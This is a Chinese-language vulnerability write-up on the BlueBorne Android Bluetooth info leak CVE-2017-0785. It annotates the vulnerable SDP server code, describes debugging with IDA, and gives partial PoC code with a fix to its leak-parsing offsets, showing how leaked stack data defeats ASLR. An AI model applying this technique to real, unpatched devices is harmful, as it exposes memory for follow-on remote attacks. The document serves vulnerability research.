blueborne_CVE-2017-0785 分析与调试

前段时间特别火的blueborne对于Android影响还是蛮大的,这个系列的漏洞中有三个是在Android系统上,这次分析的是信息泄漏漏洞CVE-2017-0785,这分析的过程中360的博客和博客中提供的POC帮助巨大,特别感谢。并且在360的博客中已经对这个漏洞的成因有了比较详细的解释,因此就不在本文中做太详细的分析,本文主要分析我在调试过程中遇到的问题。

0x01 漏洞简述

CVE-2017-0785的漏洞代码在Android蓝牙实现中,代码位置 bt/stack/sdp/sdp_server.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
static void process_service_search(tCONN_CB* p_ccb, uint16_t trans_num,
uint16_t param_len, uint8_t* p_req,
UNUSED_ATTR uint8_t* p_req_end) {
uint16_t max_replies, cur_handles, rem_handles, cont_offset;
tSDP_UUID_SEQ uid_seq;
uint8_t *p_rsp, *p_rsp_start, *p_rsp_param_len;
uint16_t rsp_param_len, num_rsp_handles, xx;
uint32_t rsp_handles[SDP_MAX_RECORDS] = {0};
tSDP_RECORD* p_rec = NULL;
bool is_cont = false;
p_req = sdpu_extract_uid_seq(p_req, param_len, &uid_seq);
if ((!p_req) || (!uid_seq.num_uids)) {
sdpu_build_n_send_error(p_ccb, trans_num, SDP_INVALID_REQ_SYNTAX,
SDP_TEXT_BAD_UUID_LIST);
return;
}
/* Get the max replies we can send. Cap it at our max anyways. */
BE_STREAM_TO_UINT16(max_replies, p_req);
if (max_replies > SDP_MAX_RECORDS) max_replies = SDP_MAX_RECORDS;
if ((!p_req) || (p_req > p_req_end)) {
sdpu_build_n_send_error(p_ccb, trans_num, SDP_INVALID_REQ_SYNTAX,
SDP_TEXT_BAD_MAX_RECORDS_LIST);
return;
}
/* Get a list of handles that match the UUIDs given to us */
for (num_rsp_handles = 0; num_rsp_handles < max_replies;) {
p_rec = sdp_db_service_search(p_rec, &uid_seq);
if (p_rec)
rsp_handles[num_rsp_handles++] = p_rec->record_handle;
else
break;
}
/* Check if this is a continuation request */
if (*p_req) {
if (*p_req++ != SDP_CONTINUATION_LEN || (p_req >= p_req_end)) {
sdpu_build_n_send_error(p_ccb, trans_num, SDP_INVALID_CONT_STATE,
SDP_TEXT_BAD_CONT_LEN);
return;
}
BE_STREAM_TO_UINT16(cont_offset, p_req);
if (cont_offset != p_ccb->cont_offset) { //1.此处没有校验 cont_offset 与 num_rsp_handles的大小
sdpu_build_n_send_error(p_ccb, trans_num, SDP_INVALID_CONT_STATE,
SDP_TEXT_BAD_CONT_INX);
return;
}
rem_handles =
num_rsp_handles - cont_offset; /* extract the remaining handles */ //2.可能导致执行减法的时候发生溢出,rem_handles变成一个大整数
} else {
rem_handles = num_rsp_handles;
cont_offset = 0;
p_ccb->cont_offset = 0;
}
/* Calculate how many handles will fit in one PDU */
cur_handles =
(uint16_t)((p_ccb->rem_mtu_size - SDP_MAX_SERVICE_RSPHDR_LEN) / 4);
if (rem_handles <= cur_handles) //3.导致rem_handles > cur_handles 进入else
cur_handles = rem_handles;
else /* Continuation is set */
{
p_ccb->cont_offset += cur_handles; //4.多次执行后p_ccb->cont_offset不断加cur_handles,变成一个大值
is_cont = true;
}
/* Get a buffer to use to build the response */
BT_HDR* p_buf = (BT_HDR*)osi_malloc(SDP_DATA_BUF_SIZE);
p_buf->offset = L2CAP_MIN_OFFSET;
p_rsp = p_rsp_start = (uint8_t*)(p_buf + 1) + L2CAP_MIN_OFFSET;
/* Start building a rsponse */
UINT8_TO_BE_STREAM(p_rsp, SDP_PDU_SERVICE_SEARCH_RSP);
UINT16_TO_BE_STREAM(p_rsp, trans_num);
/* Skip the length, we need to add it at the end */
p_rsp_param_len = p_rsp;
p_rsp += 2;
/* Put in total and current number of handles, and handles themselves */
UINT16_TO_BE_STREAM(p_rsp, num_rsp_handles);
UINT16_TO_BE_STREAM(p_rsp, cur_handles);
/* SDP_TRACE_DEBUG("SDP Service Rsp: tothdl %d, curhdlr %d, start %d, end %d,
cont %d",
num_rsp_handles, cur_handles, cont_offset,
cont_offset + cur_handles-1, is_cont); */
for (xx = cont_offset; xx < cont_offset + cur_handles; xx++) //5.根据1处的check,其实cont_offset 是与 p_ccb->cont_offset相等的,那么cont_offset也很大了,因此可以对rsp_handles[SDP_MAX_RECORDS]越界读
UINT32_TO_BE_STREAM(p_rsp, rsp_handles[xx]);
if (is_cont) {
UINT8_TO_BE_STREAM(p_rsp, SDP_CONTINUATION_LEN);
UINT16_TO_BE_STREAM(p_rsp, p_ccb->cont_offset);
} else
UINT8_TO_BE_STREAM(p_rsp, 0);
/* Go back and put the parameter length into the buffer */
rsp_param_len = p_rsp - p_rsp_param_len - 2;
UINT16_TO_BE_STREAM(p_rsp_param_len, rsp_param_len);
/* Set the length of the SDP data in the buffer */
p_buf->len = p_rsp - p_rsp_start;
/* Send the buffer through L2CAP */
L2CA_DataWrite(p_ccb->connection_id, p_buf);
}

这个漏洞触发需要蓝牙通信包多次交互,前面360的博客讲的很清楚,这里就不具体分析了。这个漏洞的关键是

  • (I) cont_offset是越界读的关键,越界读取发生在5处对rsp_handles的读取
  • (II) cont_offset可以被控制,但是有检查,就是1处,因此需要把p_ccb->cont_offset变大
  • (III)每次p_ccb->cont_offset只会增加cur_handles,cur_handles其实就是代表这个一个包里要发送的handles数量
  • (IIII) cur_handles 的值是 min(rem_handles,每个蓝牙包最多能放的handles的数量),rem_handles是剩余要发送的handles数量

0x02 漏洞的调试

漏洞代码对应的so是,bluetooth.default.so,在Android系统中处理蓝牙通信的com.android.bluetooth会加载这个so。因此,IDA远程调试attach到这个进程上去。下面关键的问题就是下断了。我测试用的手机中的bluetooth.default.so没有process_service_search符号,所以我用字符串的方式来查找这个函数的地址。查找process_service_search的上层函数是sdp_server_handle_client_req

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void sdp_server_handle_client_req(tCONN_CB* p_ccb, BT_HDR* p_msg) {
uint8_t* p_req = (uint8_t*)(p_msg + 1) + p_msg->offset;
uint8_t* p_req_end = p_req + p_msg->len;
uint8_t pdu_id;
uint16_t trans_num, param_len;
/* Start inactivity timer */
alarm_set_on_mloop(p_ccb->sdp_conn_timer, SDP_INACT_TIMEOUT_MS,
sdp_conn_timer_timeout, p_ccb);
/* The first byte in the message is the pdu type */
pdu_id = *p_req++;
/* Extract the transaction number and parameter length */
BE_STREAM_TO_UINT16(trans_num, p_req);
BE_STREAM_TO_UINT16(param_len, p_req);
if ((p_req + param_len) != p_req_end) {
sdpu_build_n_send_error(p_ccb, trans_num, SDP_INVALID_PDU_SIZE,
SDP_TEXT_BAD_HEADER);
return;
}
switch (pdu_id) {
case SDP_PDU_SERVICE_SEARCH_REQ: //SDP_PDU_SERVICE_SEARCH_REQ 的值为0x02
process_service_search(p_ccb, trans_num, param_len, p_req, p_req_end); //调用漏洞函数
break;
case SDP_PDU_SERVICE_ATTR_REQ:
process_service_attr_req(p_ccb, trans_num, param_len, p_req, p_req_end);
break;
case SDP_PDU_SERVICE_SEARCH_ATTR_REQ:
process_service_search_attr_req(p_ccb, trans_num, param_len, p_req,
p_req_end);
break;
default:
sdpu_build_n_send_error(p_ccb, trans_num, SDP_INVALID_REQ_SYNTAX,
SDP_TEXT_BAD_PDU);
SDP_TRACE_WARNING("SDP - server got unknown PDU: 0x%x", pdu_id);
break;
}
}

这个函数中有一个特征字符串“SDP - server got unknown PDU: 0x%x”,在IDA中查找到这个字符串,
sdpstr
再向前查找到判断等于2的的的分支可以找到需要分析的关键函数。
process_service_search
这里memset就是在对rsp_handles进行清零操作,W1存放的就是rsp_handles的首地址,因此在调试的过程中主要需要关注W1中的数据。
ps:由于这里好几个函数存在没有return的分支,导致IDA对函数的识别不是很准,把好几个函数揉在了一起,需要花点时间手工分析一下。

0x03 POC改进

我在测试的时候发现在360博客中提供的poc获取的数据有一点小问题,这一部分我解释一下poc,并说一点我的看法。
poc的代码并不复杂,大致的过程就是不断发包使p_ccb->cont_offset的值越来越大,构成越界读

首先poc通过l2cap_set_mtu设置了包的mtu为48

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int l2cap_set_mtu(int sock_fd, __le16 imtu, __le32 omtu) {
int ret;
struct l2cap_options option_arg;
socklen_t len ;
memset(&option_arg, 0 ,sizeof(option_arg));
ret = getsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, &len);
if(ret == -1){
perror("[-]getsockopt failed : ");
return -1;
}
option_arg.imtu = imtu;
option_arg.omtu = omtu;
ret = setsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, sizeof(option_arg));
if(ret == -1){
perror("[-]setsockopt failed : ");
return -1;
}
return 0;
}

根据前面android系统中的process_service_search处理代码

1
2
cur_handles =
(uint16_t)((p_ccb->rem_mtu_size - SDP_MAX_SERVICE_RSPHDR_LEN) / 4); //SDP_MAX_SERVICE_RSPHDR_LEN =12

可以得到一个包里最多可以传送(48-12)/4,即9个handles,解释一下,包的总大小48字节,12个字节用于包自身一些结构数据,因此有36个字节可以用于发送需要发送的handles,handles是uint32类型,每个占4个字节,所以一个包最多可以放9个。

这12个字节的包结构数据在process_service_search最后构造包的时候可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
UINT8_TO_BE_STREAM(p_rsp, SDP_PDU_SERVICE_SEARCH_RSP); //1字节
UINT16_TO_BE_STREAM(p_rsp, trans_num); //2字节
/* Skip the length, we need to add it at the end */
p_rsp_param_len = p_rsp;
p_rsp += 2; //2字节
/* Put in total and current number of handles, and handles themselves */
UINT16_TO_BE_STREAM(p_rsp, num_rsp_handles); //2字节
UINT16_TO_BE_STREAM(p_rsp, cur_handles); //2字节
..... //以上一共9字节 在数据部分前面
if (is_cont) {
UINT8_TO_BE_STREAM(p_rsp, SDP_CONTINUATION_LEN);
UINT16_TO_BE_STREAM(p_rsp, p_ccb->cont_offset); //在continue包中 后面有1+2=3字节
} else
UINT8_TO_BE_STREAM(p_rsp, 0); //否则只有1字节
.......... //在泄露数据的过程中是使用的continue的包 所以一共12字节

因此,来查看poc中处理接收数据的部分,我认为有一些不合理

1
2
3
4
5
6
static void append_leak_data(void *recv_buf, int recv_size) {
if(recv_size < 0x15)
return;
memcpy(leak_data + leak_count, recv_buf + 0x12, recv_size - 0x12 - 0x3);
leak_count += recv_size - 0x12 - 0x3;
}

这个地方将接收到的数据偏移12的位置,拷贝了recv_size-12-3的数据出来,实际上根据上面的分析,包结构数据前面9字节后面3字节,一共12。应该改为如下代码更为合理

1
2
3
memcpy(leak_data + leak_count, recv_buf + 0x9, recv_size - 0x9 - 0x3);
leak_count += recv_size - 0x9 - 0x3;

最后,用改动过的poc结合前面的调试,测试读取出来的内存数据。
首先通过W1确定rsp_handles的地址是0x0000006FF324B5A0,位于当前栈上
w1

在最后一次发送之前查看0x0000006FF324B5A0后面的数据
stack

获取到的数据打印结果如图
0785_res
因为没有进行字节序的转换,所以数据显示上不太一致,可以看出图中红框中的内容就是栈中0x0000006FF324B618地址处数据字节序转换后的样子。
事实上在process_service_search中的UINT*_TO_BE_STREAM中就进行了字节序转换,只要进行一下转换就可以了。测试读取了0x100个字节,已经可以拿到libc和bluetooth.default.so中符号的地址,因为alsr的偏移是针对模块的,也就意味着,在知道机型系统版本的情况下这两个模块其他符号的地址也可以确定了。